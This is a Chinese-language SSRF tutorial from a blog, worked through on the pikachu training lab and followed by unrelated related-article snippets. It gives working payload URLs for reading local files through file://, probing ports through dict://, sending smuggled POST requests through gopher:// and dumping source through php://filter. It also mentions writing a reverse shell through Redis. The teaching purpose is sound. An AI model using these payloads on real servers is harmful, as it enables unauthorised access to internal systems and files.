SSRF攻击技术

news2024/12/25 9:31:08

1、SSRF形成原因

       SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

2、SSRF漏洞可利用的用途

  • 可以对外网服务器所在内网、本地进行端口扫描,获取一些服务的banner信息

  • 攻击运行在内网或本地的应用程序(比如溢出)

  • 对内网web应用进行指纹识别,通过访问默认文件实现

  • 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等

  • 利用file协议读取本地文件等

SSRF攻击结果由涵数本身来决定,涵数功能越强大,攻击成功的机会就越高,如:curl_init、file_get_contents、fsockopen

3、如何挖掘ssrf漏洞 

  • 分享:通过URL地址分享网页内容

  • 转码服务

  • 在线翻译

  • 图片加载与下载:通过URL地址加载或下载图片

  • 图片、文章收藏功能

  • 未公开的api实现以及其他调用URL的功能

  • 从URL关键字中寻找:

    • share

    • wap

    • url

    • link

    • src

    • source

    • target

    • u

    • 3g

    • display

    • sourceURl

    • imageURL

    • domain

    • ...

 phpstudy选择5.4.45版本:

打开pikachu靶场环境:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php

curl  函数

curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP

查看源代码:

 //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);

使用了url参数,未经过滤给了curl_init函数
 

https协议的运用 

 通过添加URL参数url的值指向第三方百度网页:(因支持https协议)

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com

 说明:

IP地址和端口:

  • 10.0.0.101: 这是一个本地或私有网络IP地址。
  • :90: 这是服务器上运行的应用程序的端口号。

路径和文件

/pikachu/vul/ssrf/ssrf_curl.php: 这是服务器上的文件路径。

URL参数

?url=https://www.baidu.com: 这个URL参数url的值指向了百度的公共网站。在正常情况下,如果ssrf_curl.php使用这个参数来发起HTTP请求,它会访问百度。但在存在SSRF漏洞的情况下,攻击者可能会利用这个参数构造恶意请求,指向内部网络资源,从而获取未授权的数据。

 http协议的运用

也可以通过ssrf攻击访问内网其他主机:(http协议)

如:访问内网win10主机的根目录所有网站信息:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=http://10.0.0.103:99

内网win2003主机  http://10.0.0.101:90/
内网win10主机   http://10.0.0.103:99/ 

 成功显示网站信息:


file协议的运用

通过file读取文件信息:

如读取目标主机c盘下2024.txt文件内容

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/2024.txt

成功读取2024.txt文件内容 


dict协议的运用

 通过dict探测端口:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:99

 输入不存在的端口号,网页不显示内容:

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_curl.php?url=dict://10.0.0.103:8080

可通过抓包工具设置端口变量跑端口 


 gopher协议的运用

简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。 

进行如下请求可以发送一个POST请求,且参数cmd的值为balabal,这里构造gopher请求的时候,回车换行符号要进行2次url编码%250d%250a

http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

此时可以在192.168.0.105主机中的access.log,找到访问日志。

当然也可以使用网络数据包分析工具,抓取TCP流量中HTTP的数据,这里我使用的是 burp。

 bp请求包内容等同于:

POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1

由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色


file_get_contents() 函数

file_get_contents() 函数在PHP中支持多种协议,不仅可以用于读取本地文件,还可以用于获取远程资源。以下是它支持的一些常见协议:

  1. file:用于读取本地文件系统中的文件,例如 file:///path/to/file.txt
  2. http:用于从HTTP服务器获取内容,如 http://www.example.com/page.html
  3. https:用于从HTTPS服务器安全地获取内容,如 https://www.example.com/secure_page.php
  4. ftp:用于从FTP服务器下载文件,需要服务器支持被动模式(FTP_PASV)以绕过一些防火墙限制。
  5. ftps:用于通过FTP的SSL/TLS加密层安全地下载文件。
  6. data:用于处理data:URI,这种URI可以直接在HTTP请求中包含小量数据,例如图片或文本。
  7. phar:用于读取PHP的Phar归档文件。
  8. compress.zlib 和 compress.bzip2:用于解压缩通过zlib或bzip2压缩的文件。
  9. env:用于获取环境变量的值。

 打开pikachu靶场环境--点击ssrf--file_get_contents():

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.phpfile_get_contents
 http协议应用

访问百度

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com

 读取当前目录下ssrf.php源代码(并进行base64编码):

?file=php://filter/read=convert.base64-encode/resource=ssrf.php

当前目录下的ssrf.php

添加 ../ 可以访问上级目录的文件,如../lan.php

http://10.0.0.101:90/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

 读取成功,

复制读取到的源码进行解码:

PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8+CgoKPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudC1pbm5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0iYnJlYWRjcnVtYnMgYWNlLXNhdmUtc3RhdGUiIGlkPSJicmVhZGNydW1icyI+CiAgICAgICAgICAgIDx1bCBjbGFzcz0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImFjZS1pY29uIGZhIGZhLWhvbWUgaG9tZS1pY29uIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0ic3NyZi5waHAiPjwvYT4KICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImFjdGl2ZSI+5qaC6L+wPC9saT4KICAgICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgoKICAgICAgICAgPGI+U1NSRihTZXJ2ZXItU2lkZSBSZXF1ZXN0IEZvcmdlcnk65pyN5Yqh5Zmo56uv6K+35rGC5Lyq6YCgKTwvYj4KICAgICAgICAgPHA+5YW25b2i5oiQ55qE5Y6f5Zug5aSn6YO95piv55Sx5LqO5pyN5Yqh56uvPGI+5o+Q5L6b5LqG5LuO5YW25LuW5pyN5Yqh5Zmo5bqU55So6I635Y+W5pWw5o2u55qE5Yqf6IO9PC9iPizkvYblj4jmsqHmnInlr7nnm67moIflnLDlnYDlgZrkuKXmoLzov4fmu6TkuI7pmZDliLY8L3A+CiAgICAgICAgICAgIOWvvOiHtOaUu+WHu+iAheWPr+S7peS8oOWFpeS7u+aEj+eahOWcsOWdgOadpeiuqeWQjuerr+acjeWKoeWZqOWvueWFtuWPkei1t+ivt+axgizlubbov5Tlm57lr7nor6Xnm67moIflnLDlnYDor7fmsYLnmoTmlbDmja48YnI+CiAgICAgICAgICAgIDxicj4KICAgICAgICAgICAg5pWw5o2u5rWBOuaUu+WHu+iAhS0tLS0tPuacjeWKoeWZqC0tLS0+55uu5qCH5Zyw5Z2APGJyPgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIOagueaNruWQjuWPsOS9v+eUqOeahOWHveaVsOeahOS4jeWQjCzlr7nlupTnmoTlvbHlk43lkozliKnnlKjmlrnms5Xlj4jmnInkuI3kuIDmoLcKICAgICAgICAgICAgPHByZSBzdHlsZT0id2lkdGg6IDUwMHB4OyI+ClBIUOS4reS4i+mdouWHveaVsOeahOS9v+eUqOS4jeW9k+S8muWvvOiHtFNTUkY6CmZpbGVfZ2V0X2NvbnRlbnRzKCkKZnNvY2tvcGVuKCkKY3VybF9leGVjKCkKICAgICAgICAgICAgPC9wcmU+PGJyPgogICAgICAgICAgICDlpoLmnpzkuIDlrpropoHpgJrov4flkI7lj7DmnI3liqHlmajov5znqIvljrvlr7nnlKjmiLfmjIflrpooIuaIluiAhemihOWfi+WcqOWJjeerr+eahOivt+axgiIp55qE5Zyw5Z2A6L+b6KGM6LWE5rqQ6K+35rGCLDxiPuWImeivt+WBmuWlveebruagh+WcsOWdgOeahOi/h+a7pDwvYj7jgIIKPGJyPgogICAgICAgICAgICA8YnI+CgogICAgICAgICAgICDkvaDlj6/ku6XmoLnmja4iU1NSRiLph4zpnaLnmoTpobnnm67mnaXmkJ7mh4Lpl67popjnmoTljp/lm6AKCiAgICAgICAgPC9kaXY+PCEtLSAvLnBhZ2UtY29udGVudCAtLT4KICAgIDwvZGl2Pgo8L2Rpdj48IS0tIC8ubWFpbi1jb250ZW50IC0tPgoKCgo8P3BocAppbmNsdWRlX29uY2UgJFBJS0FfUk9PVF9ESVIgLiAnZm9vdGVyLnBocCc7Cgo/Pgo=

 成功获取到源代码:


4、ssrf 怎么用 redis 写 shell ?

(1)SSRF 服务端请求伪造

  • 一、对内网扫描,获取 banner

  • 二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)

  • 三、利用协议读取本地文件

  • 四、云计算环境 AWS Google Cloud 环境可以调用内网操作 ECS 的 API

(2)如 webligic SSRF 漏洞通过 SSRF 的 gopher 协议操作内网的 redis,利用 redis 将反弹 shell 写入 crontab 定时任务,url 编码,将\r 字符串替换成%0d%0a https://www.jianshu.com/p/42a3bb2b2c2c 


5、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

  • XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、输入时校验、输出时采用 html 实体编码。

  • CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer

  • XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

  • 重点:


 6、XXS与SSRF的区别?

SSRF属于服务端攻击,无需输出就能攻击,利用dnslog来实现攻击的,结果值在dnslog日志体现; XSS属于客户端攻击,必须有输入和输出,xss不需要登陆就可以实现脚本攻击


 7、CSRF、SSRF 和重放攻击有什么区别?

CSRF 是跨站请求伪造攻击,由客户端发起;是在建立会话的过程点击;攻击客户端; SSRF 是服务器端请求伪造,由服务器发起;不需要建立会话过程,是攻击内网 重放攻击是将截获的数据包进行重放,达到身份认证等目的


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1684790.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

03-01-Vue组件的定义和注册

前言 我们接着上一篇文章02-Vue实例的生命周期函数 来讲。 下一篇文章 03-02-Vue组件之间的传值 什么是组件 组件: 组件的出现,就是为了拆分Vue实例的代码量的,能够让我们以不同的组件,来划分不同的功能模块,将来我们…

Windows安装php_ssh2扩展

一、读取PHP信息 先用phpinfo读取使用的php的版本信息 二、下载ssh2扩展 链接:https://windows.php.net/downloads/pecl/snaps/ssh2/1.2-dev/ 点击链接下载对应链接 三、开启扩展 下载好压缩包后,解压缩得到php_ssh2.dll、php_ssh2.pdb文件&#xff…

以太坊(2)——共识机制与挖矿算法

共识机制 ETH采用的是基于GHOST协议的共识机制 "GHOST"(Greedy Heaviest-Observed Sub-Tree)共识机制,它是以太坊使用的一种改进的区块链共识算法。GHOST共识机制旨在提高链的安全性和效率,通过考虑非主链区块的贡献&…

如何保护Kubernetes集群

2018年黑客入侵了特斯拉在亚马逊上的Kubernetes容器集群。由于该集群控制台未设置密码保护,黑客便得以在一个Kubernetes pod中获取到访问凭证,然后据此访问其网络存储桶S3,通过S3获取到了一些敏感数据,比如遥测技术,并…

llama-factory学习个人记录

框架、模型、数据集准备 1.llama-factory部署 # 克隆仓库 git clone https://github.com/hiyouga/LLaMA-Factory.git # 创建虚拟环境 conda create --name llama_factory python3.10 # 激活虚拟环境 conda activate llama_factory # 安装依赖 cd LLaMA-Factory pip install -…

Vue——开发前的准备和创建一个vue的工程

文章目录 前言安装 Node js1、下载node.js2、安装node.js3、查看是否安装成功 创建 vue 工程Visual Studio Code 配置目录结构 前言 本篇博客主要讲解Vue开发前的环境配置与一些说明。 安装 Node js 环境需要安装配置一个nodejs 的环境。 vue3 最低nodejs 版本要求为 15.0 1…

2024.5.1学习记录

1、代码随想录:贪心刷题 2、react 高级使用( hoc render、props、函数组件、serState 传送门等) 3、游山玩水

linux部署rustdesk

1.拉取RustDesk镜像 sudo docker image pull rustdesk/rustdesk-server2.启动hbbs服务 sudo docker run --name hbbs -p 21115:21115 -p 21116:21116 -p 21116:21116/udp -p 21118:21118 -v pwd:/root -td --nethost rustdesk/rustdesk-server hbbs3.启动hbbr服务 sudo dock…

sqli-labs靶场

less---11 1.求闭合字符 输入1报错说明存在注入点 存在注入点 2.查库名 使用报错注入查库名 admin” and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)# //floor函数报错 3.查表名 admin and upd…

一、QGroundControl地面站使用介绍

文章目录 环境功能介绍飞行视图规划视图飞机设置分析工具程序设置 连接飞机飞机设置分析工具飞行视图规划任务 总结参考 环境 QGroundControl V4.2.0PX4-Autopilot V1.3.0devGazebo 模拟无人机 功能介绍 飞行视图规划视图飞机设置分析工具程序设置 飞行视图 软件打开后为飞…

OWASP Benchmark | OWASP 基准项目介绍

1. 背景 市面上的静态代码检测SAST工具越来越多,除了业界比较知名的Coverity、Fortify、CheckMax,还有CodeQL、SonarQube、CppCheck等,国内也涌现了一大波检测工具,如鸿渐SAST、奇安信代码卫士、北大Cobot、酷德啄木鸟等&#xf…

KT142C语音芯片音量详细汇总 包含记忆 低功耗的音量_开机音量

关于KT142C语音芯片sop16的音量详细汇总,包含记忆,低功耗唤醒之后的音量,开机音量 芯片的音量是分为三部分,详见手册的“3.4.2”章节 串口发送指令设置,但是掉电或者进入低功耗被唤醒,这两种情况都会恢复到…

nvm介绍、下载、安装、配置及使用,(Node Version Manager)nodejs版本管理切换工具

1、介绍nvm 在Web前端项目开发过程中,由于各种前端框架、插件 以及 Nodejs、Npm 的飞速更新,在项目新开发 或 对老项目进行更新维护时,有些项目版本的配置 和 当前Node、Npm环境不匹配,导致运行报错,甚至都无法启动。…

代码随想录算法训练营第二天| 977.有序数组的平方 、209.长度最小的子数组、 59.螺旋矩阵II

977. 有序数组的平方 题目链接:977. 有序数组的平方 文档讲解:代码随想录 状态:so easy 刚开始看到题目第一反应就是平方之后进行排序,数据量在 1 0 4 10^4 104,可以使用O(nlogn)的排序。但是更好的方式是使用双指针&a…

Java面试八股之什么是死锁

什么是死锁 死锁(Deadlock)是多线程编程中的一种常见问题,特别是在涉及到资源共享和同步的时候。具体来说,死锁是指两个或两个以上的线程在执行过程中,由于互相持有并等待对方释放的资源,而导致所有线程都…

Centos7.9上安装Oracle 11gR2 RAC 三节点(ASMlib管理asm磁盘)

服务器规划 OS 规格 主机名 IP VIP private IP scanip centos 7.9 1C4G racdb01 192.168.40.165 192.168.183.165 192.168.40.16 192.168.40.200 centos 7.9 1C4G racdb02 192.168.40.175 192.168.183.175 192.168.40.17 192.168.40.200 centos 7.9 1C4G…

php题解(巩固基础知识)代码审计

1.[NISACTF 2022]easyssrf 1)进入环境后,他给了一个上url个文本框 2)看了源码,没啥用,那就直接跟着它提示走,输入一个网址http://127.0.0.1/flag.php 3)回显又给了/fl4g,直接file…

微服务:Ribbon负载均衡与加载时机修改

Ribbon 负载均衡 执行流程 负载均衡策略 调整负载均衡方案: 配置类中(全局): // 负载均衡策略Beanpublic IRule randomRule() {return new RandomRule();}yaml配置 userservice: # 给某个微服务配置负载均衡规则&#xff…

【UE HTTP】“BlueprintHTTP Server - A Web Server for Unreal Engine”插件使用记录

1. 在商城中下载“BlueprintHTTP Server - A Web Server for Unreal Engine”插件 该插件的主要功能有如下3点: (1)监听客户端请求。 (2)可以将文件直接从Unreal Engine应用程序提供到Web。 (3&#xff…

elementui中 表格使用树形数据且固定一列时展开子集移入时背景色不全问题

原来的效果 修改后实现效果 解决- 需要修改elementui的依赖包中lib/element-ui.common.js中的源码 将js中此处代码改完下面的代码 watch: {// dont trigger getter of currentRow in getCellClass. see https://jsfiddle.net/oe2b4hqt/// update DOM manually. see https:/…